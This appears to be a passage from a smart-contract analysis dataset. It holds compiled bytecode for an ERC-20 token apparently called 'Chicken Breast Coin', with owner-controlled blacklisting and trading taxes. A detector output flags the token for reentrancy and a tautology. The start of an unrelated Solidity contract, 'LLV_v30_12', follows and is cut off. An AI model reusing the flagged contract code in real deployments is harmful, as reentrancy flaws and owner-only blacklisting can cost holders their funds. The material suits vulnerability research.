b5061043c610ca2565b005b34801561044a57600080fd5b5061046560048036038101906104609190613242565b610df5565b005b34801561047357600080fd5b5061047c610ea5565b60405161048991906130ed565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b491906131bc565b610eab565b6040516104c691906130ed565b60405180910390f35b3480156104db57600080fd5b506104e4610ec3565b6040516104f191906131a1565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c9190613215565b610eec565b005b34801561052f57600080fd5b50610538610f9e565b60405161054591906130ed565b60405180910390f35b34801561055a57600080fd5b50610563610fa4565b6040516105709190612f96565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b9190613242565b610fe1565b005b3480156105ae57600080fd5b506105c960048036038101906105c4919061326f565b611080565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612fee565b61127b565b6040516105ff9190613049565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a91906131bc565b611299565b60405161063c9190613049565b60405180910390f35b34801561065157600080fd5b5061065a6112b9565b005b34801561066857600080fd5b50610683600480360381019061067e9190613331565b611392565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613391565b6114cc565b6040516106b991906130ed565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190613242565b611553565b005b3480156106f757600080fd5b50610712600480360381019061070d91906131bc565b6115f2565b005b61071c6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a09061341d565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd61343d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108329061349b565b9150506107ac565b5050565b60606040518060400160405280601381526020017f436869636b656e2042726561737420436f696e00000000000000000000000000815250905090565b600061088f6108886117b4565b84846117bc565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108dd848484611987565b61099e846108e96117b4565b6109998560405180606001604052806028815260200161412460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094f6117b4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220c9092919063ffffffff16565b6117bc565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e66117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a9061341d565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad66117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a9061341d565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc16117b4565b73ffffffffffffffffffffffffffffffffffffffff161480610c375750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1f6117b4565b73ffffffffffffffffffffffffffffffffffffffff16145b610c4057600080fd5b6000479050610c4e81612270565b50565b6000610c9b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122dc565b9050919050565b610caa6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e9061341d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfd6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e819061341d565b60405180910390fd5b674563918244f40000811115610ea257806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ef46117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f789061341d565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600781526020017f434849434b454e00000000000000000000000000000000000000000000000000815250905090565b610fe96117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106d9061341d565b60405180910390fd5b8060188190555050565b6110886117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c9061341d565b60405180910390fd5b60008410158015611127575060048411155b611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90613556565b60405180910390fd5b600082101580156111785750600e8211155b6111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae906135e8565b60405180910390fd5b600083101580156111c9575060048311155b611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff9061367a565b60405180910390fd5b6000811015801561121a5750600e8111155b611259576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112509061370c565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061128f6112886117b4565b8484611987565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112fa6117b4565b73ffffffffffffffffffffffffffffffffffffffff1614806113705750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113586117b4565b73ffffffffffffffffffffffffffffffffffffffff16145b61137957600080fd5b600061138430610c51565b905061138f8161234a565b50565b61139a6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611427576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141e9061341d565b60405180910390fd5b60005b838390508110156114c657816005600086868581811061144d5761144c61343d565b5b905060200201602081019061146291906131bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114be9061349b565b91505061142a565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61155b6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115df9061341d565b60405180910390fd5b8060178190555050565b6115fa6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e9061341d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee9061379e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561182c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182390613830565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561189c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611893906138c2565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197a91906130ed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ee90613954565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5e906139e6565b60405180910390fd5b60008111611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa190613a78565b60405180910390fd5b611ab2610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b205750611af0610ec3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0b57601560149054906101000a900460ff16611baf57611b41610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba590613b0a565b60405180910390fd5b5b601654811115611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb90613b76565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c985750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90613c08565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d845760175481611d3984610c51565b611d439190613c28565b10611d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7a90613cf0565b60405180910390fd5b5b6000611d8f30610c51565b9050600060185482101590506016548210611daa5760165491505b808015611dc2575060158054906101000a900460ff16155b8015611e1c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e345750601560169054906101000a900460ff165b8015611e8a5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ee05750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f0857611eee8261234a565b60004790506000811115611f0657611f0547612270565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fb25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120655750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156120645750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561207357600090506121fa565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561211e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561213657600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121e15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121f957600a54600c81905550600b54600d819055505b5b612206848484846125d0565b50505050565b6000838311158290612254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224b9190612f96565b60405180910390fd5b50600083856122639190613d10565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122d8573d6000803e3d6000fd5b5050565b6000600654821115612323576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231a90613db6565b60405180910390fd5b600061232d6125fd565b9050612342818461262890919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561238157612380612d24565b5b6040519080825280602002602001820160405280156123af5781602001602082028036833780820191505090505b50905030816000815181106123c7576123c661343d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561246957600080fd5b505afa15801561247d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124a19190613deb565b816001815181106124b5576124b461343d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061251c30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bc565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612580959493929190613f11565b600060405180830381600087803b15801561259a57600080fd5b505af11580156125ae573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125de576125dd612672565b5b6125e98484846126b5565b806125f7576125f6612880565b5b50505050565b600080600061260a612894565b91509150612621818361262890919063ffffffff16565b9250505090565b600061266a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128f6565b905092915050565b6000600c5414801561268657506000600d54145b15612690576126b3565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806126c787612959565b95509550955095509550955061272586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129c190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ba85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061280681612a69565b6128108483612b26565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161286d91906130ed565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea0000090506128ca683635c9adc5dea0000060065461262890919063ffffffff16565b8210156128e957600654683635c9adc5dea000009350935050506128f2565b81819350935050505b9091565b6000808311829061293d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129349190612f96565b60405180910390fd5b506000838561294c9190613f9a565b9050809150509392505050565b60008060008060008060008060006129768a600c54600d54612b60565b92509250925060006129866125fd565b905060008060006129998e878787612bf6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a0383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061220c565b905092915050565b6000808284612a1a9190613c28565b905083811015612a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a5690614017565b60405180910390fd5b8091505092915050565b6000612a736125fd565b90506000612a8a8284612c7f90919063ffffffff16565b9050612ade81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b3b826006546129c190919063ffffffff16565b600681905550612b5681600754612a0b90919063ffffffff16565b6007819055505050565b600080600080612b8c6064612b7e888a612c7f90919063ffffffff16565b61262890919063ffffffff16565b90506000612bb66064612ba8888b612c7f90919063ffffffff16565b61262890919063ffffffff16565b90506000612bdf82612bd1858c6129c190919063ffffffff16565b6129c190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c0f8589612c7f90919063ffffffff16565b90506000612c268689612c7f90919063ffffffff16565b90506000612c3d8789612c7f90919063ffffffff16565b90506000612c6682612c5885876129c190919063ffffffff16565b6129c190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c925760009050612cf4565b60008284612ca09190614037565b9050828482612caf9190613f9a565b14612cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce690614103565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d5c82612d13565b810181811067ffffffffffffffff82111715612d7b57612d7a612d24565b5b80604052505050565b6000612d8e612cfa565b9050612d9a8282612d53565b919050565b600067ffffffffffffffff821115612dba57612db9612d24565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612dfb82612dd0565b9050919050565b612e0b81612df0565b8114612e1657600080fd5b50565b600081359050612e2881612e02565b92915050565b6000612e41612e3c84612d9f565b612d84565b90508083825260208201905060208402830185811115612e6457612e63612dcb565b5b835b81811015612e8d5780612e798882612e19565b845260208401935050602081019050612e66565b5050509392505050565b600082601f830112612eac57612eab612d0e565b5b8135612ebc848260208601612e2e565b91505092915050565b600060208284031215612edb57612eda612d04565b5b600082013567ffffffffffffffff811115612ef957612ef8612d09565b5b612f0584828501612e97565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f48578082015181840152602081019050612f2d565b83811115612f57576000848401525b50505050565b6000612f6882612f0e565b612f728185612f19565b9350612f82818560208601612f2a565b612f8b81612d13565b840191505092915050565b60006020820190508181036000830152612fb08184612f5d565b905092915050565b6000819050919050565b612fcb81612fb8565b8114612fd657600080fd5b50565b600081359050612fe881612fc2565b92915050565b6000806040838503121561300557613004612d04565b5b600061301385828601612e19565b925050602061302485828601612fd9565b9150509250929050565b60008115159050919050565b6130438161302e565b82525050565b600060208201905061305e600083018461303a565b92915050565b6000819050919050565b600061308961308461307f84612dd0565b613064565b612dd0565b9050919050565b600061309b8261306e565b9050919050565b60006130ad82613090565b9050919050565b6130bd816130a2565b82525050565b60006020820190506130d860008301846130b4565b92915050565b6130e781612fb8565b82525050565b600060208201905061310260008301846130de565b92915050565b60008060006060848603121561312157613120612d04565b5b600061312f86828701612e19565b935050602061314086828701612e19565b925050604061315186828701612fd9565b9150509250925092565b600060ff82169050919050565b6131718161315b565b82525050565b600060208201905061318c6000830184613168565b92915050565b61319b81612df0565b82525050565b60006020820190506131b66000830184613192565b92915050565b6000602082840312156131d2576131d1612d04565b5b60006131e084828501612e19565b91505092915050565b6131f28161302e565b81146131fd57600080fd5b50565b60008135905061320f816131e9565b92915050565b60006020828403121561322b5761322a612d04565b5b600061323984828501613200565b91505092915050565b60006020828403121561325857613257612d04565b5b600061326684828501612fd9565b91505092915050565b6000806000806080858703121561328957613288612d04565b5b600061329787828801612fd9565b94505060206132a887828801612fd9565b93505060406132b987828801612fd9565b92505060606132ca87828801612fd9565b91505092959194509250565b600080fd5b60008083601f8401126132f1576132f0612d0e565b5b8235905067ffffffffffffffff81111561330e5761330d6132d6565b5b60208301915083602082028301111561332a57613329612dcb565b5b9250929050565b60008060006040848603121561334a57613349612d04565b5b600084013567ffffffffffffffff81111561336857613367612d09565b5b613374868287016132db565b9350935050602061338786828701613200565b9150509250925092565b600080604083850312156133a8576133a7612d04565b5b60006133b685828601612e19565b92505060206133c785828601612e19565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613407602083612f19565b9150613412826133d1565b602082019050919050565b60006020820190508181036000830152613436816133fa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134a682612fb8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134d9576134d861346c565b5b600182019050919050565b7f4275792072657761726473206d757374206265206265747765656e203025206160008201527f6e64203225000000000000000000000000000000000000000000000000000000602082015250565b6000613540602583612f19565b915061354b826134e4565b604082019050919050565b6000602082019050818103600083015261356f81613533565b9050919050565b7f42757920746178206d757374206265206265747765656e20302520616e64203160008201527f3425000000000000000000000000000000000000000000000000000000000000602082015250565b60006135d2602283612f19565b91506135dd82613576565b604082019050919050565b60006020820190508181036000830152613601816135c5565b9050919050565b7f53656c6c2072657761726473206d757374206265206265747765656e2030252060008201527f616e642032250000000000000000000000000000000000000000000000000000602082015250565b6000613664602683612f19565b915061366f82613608565b604082019050919050565b6000602082019050818103600083015261369381613657565b9050919050565b7f53656c6c20746178206d757374206265206265747765656e20302520616e642060008201527f3134250000000000000000000000000000000000000000000000000000000000602082015250565b60006136f6602383612f19565b91506137018261369a565b604082019050919050565b60006020820190508181036000830152613725816136e9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613788602683612f19565b91506137938261372c565b604082019050919050565b600060208201905081810360008301526137b78161377b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061381a602483612f19565b9150613825826137be565b604082019050919050565b600060208201905081810360008301526138498161380d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006138ac602283612f19565b91506138b782613850565b604082019050919050565b600060208201905081810360008301526138db8161389f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061393e602583612f19565b9150613949826138e2565b604082019050919050565b6000602082019050818103600083015261396d81613931565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006139d0602383612f19565b91506139db82613974565b604082019050919050565b600060208201905081810360008301526139ff816139c3565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613a62602983612f19565b9150613a6d82613a06565b604082019050919050565b60006020820190508181036000830152613a9181613a55565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613af4603f83612f19565b9150613aff82613a98565b604082019050919050565b60006020820190508181036000830152613b2381613ae7565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613b60601c83612f19565b9150613b6b82613b2a565b602082019050919050565b60006020820190508181036000830152613b8f81613b53565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613bf2602383612f19565b9150613bfd82613b96565b604082019050919050565b60006020820190508181036000830152613c2181613be5565b9050919050565b6000613c3382612fb8565b9150613c3e83612fb8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c7357613c7261346c565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613cda602383612f19565b9150613ce582613c7e565b604082019050919050565b60006020820190508181036000830152613d0981613ccd565b9050919050565b6000613d1b82612fb8565b9150613d2683612fb8565b925082821015613d3957613d3861346c565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613da0602a83612f19565b9150613dab82613d44565b604082019050919050565b60006020820190508181036000830152613dcf81613d93565b9050919050565b600081519050613de581612e02565b92915050565b600060208284031215613e0157613e00612d04565b5b6000613e0f84828501613dd6565b91505092915050565b6000819050919050565b6000613e3d613e38613e3384613e18565b613064565b612fb8565b9050919050565b613e4d81613e22565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e8881612df0565b82525050565b6000613e9a8383613e7f565b60208301905092915050565b6000602082019050919050565b6000613ebe82613e53565b613ec88185613e5e565b9350613ed383613e6f565b8060005b83811015613f04578151613eeb8882613e8e565b9750613ef683613ea6565b925050600181019050613ed7565b5085935050505092915050565b600060a082019050613f2660008301886130de565b613f336020830187613e44565b8181036040830152613f458186613eb3565b9050613f546060830185613192565b613f6160808301846130de565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fa582612fb8565b9150613fb083612fb8565b925082613fc057613fbf613f6b565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614001601b83612f19565b915061400c82613fcb565b602082019050919050565b6000602082019050818103600083015261403081613ff4565b9050919050565b600061404282612fb8565b915061404d83612fb8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156140865761408561346c565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006140ed602183612f19565b91506140f882614091565b604082019050919050565b6000602082019050818103600083015261411c816140e0565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204af6a7ac9efd0afbbb3a11cb04147c464885aedd8b6b0d8235303e29d115e32f64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
8,514
0x0e1bebe6b75595d3c7fb99550757e310bc2edf2a
pragma solidity ^0.4.21 ; interface IERC20Token { function totalSupply() public constant returns (uint); function balanceOf(address tokenlender) public constant returns (uint balance); function allowance(address tokenlender, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenlender, address indexed spender, uint tokens); } contract LLV_v30_12 { address owner ; function LLV_v30_12 () public { owner = msg.sender; } modifier onlyOwner () { require(msg.sender == owner ); _; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 ID = 1000 ; function setID ( uint256 newID ) public onlyOwner { ID = newID ; } function getID () public constant returns ( uint256 ) { return ID ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 ID_control = 1000 ; function setID_control ( uint256 newID_control ) public onlyOwner { ID_control = newID_control ; } function getID_control () public constant returns ( uint256 ) { return ID_control ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Cmd = 1000 ; function setCmd ( uint256 newCmd ) public onlyOwner { Cmd = newCmd ; } function getCmd () public constant returns ( uint256 ) { return Cmd ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Cmd_control = 1000 ; function setCmd_control ( uint256 newCmd_control ) public onlyOwner { Cmd_control = newCmd_control ; } function getCmd_control () public constant returns ( uint256 ) { return Cmd_control ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / 